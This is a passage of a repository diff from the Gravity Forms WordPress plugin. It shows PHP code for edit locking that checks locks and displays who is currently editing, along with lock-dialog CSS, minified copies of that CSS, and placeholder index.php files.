if ( ! $user_id = GFCache::get( self::PREFIX_EDIT_LOCK . $this->_object_type . '_' . $object_id ) ) {
return false;
}
if ( $user_id != get_current_user_id() ) {
return true;
}
return false;
}
public function lock_indicator( $echo = true ) {
$lock_indicator = '<div class="locked-indicator"></div>';
if ( $echo ) {
echo $lock_indicator;
}
return $lock_indicator;
}
public function lock_info( $object_id, $echo = true ) {
$user_id = $this->check_lock( $object_id );
if ( ! $user_id ) {
return '';
}
if ( $user_id && $user = get_userdata( $user_id ) ) {
$locked_avatar = get_avatar( $user->ID, 18 );
$locked_text = esc_html( sprintf( $this->get_string( 'currently_editing' ), $user->display_name ) );
} else {
$locked_avatar = $locked_text = '';
}
$locked_info = '<div class="locked-info"><span class="locked-avatar">' . $locked_avatar . '</span> <span class="locked-text">' . $locked_text . "</span></div>\n";
if ( $echo ) {
echo $locked_info;
}
return $locked_info;
}
protected function is_page( $page_name ) {
return $page_name == GFForms::get_page();
}
}

View File

@@ -0,0 +1,2 @@
<?php
//Nothing to see here

View File

@@ -0,0 +1,3 @@
tr.wp-locked .locked-indicator {
background: url('../images/lock.png') no-repeat;
}

View File

@@ -0,0 +1 @@
tr.wp-locked .locked-indicator{background:url(../images/lock.png) no-repeat}

View File

@@ -0,0 +1,20 @@
#gform-lock-dialog .gform-locked-message,
#gform-lock-dialog .gform-taken-over {
margin: 25px;
}
#gform-lock-dialog .gform-locked-message a.button {
margin-right: 10px;
}
#gform-lock-dialog .gform-locked-avatar {
float: left;
margin: 0 20px 20px 0;
}
#gform-lock-dialog .wp-tab-first {
outline: 0;
}

1
includes/locking/css/locking.min.css vendored Normal file
View File

@@ -0,0 +1 @@
#gform-lock-dialog .gform-locked-message,#gform-lock-dialog .gform-taken-over{margin:25px}#gform-lock-dialog .gform-locked-message a.button{margin-right:10px}#gform-lock-dialog .gform-locked-avatar{float:left;margin:0 20px 20px 0}#gform-lock-dialog .wp-tab-first{outline:0}

View File

@@ -0,0 +1,2 @@
<?php
//Nothing to see here

Binary file not shown.

After

Width:  |  Height:  |  Size: 338 B

View File

@@ -0,0 +1,2 @@
<?php
//Nothing to see here

View File

@@ -0,0 +1,2 @@
<?php
//Nothing to see here

Some files were not shown because too many files have changed in this diff Show More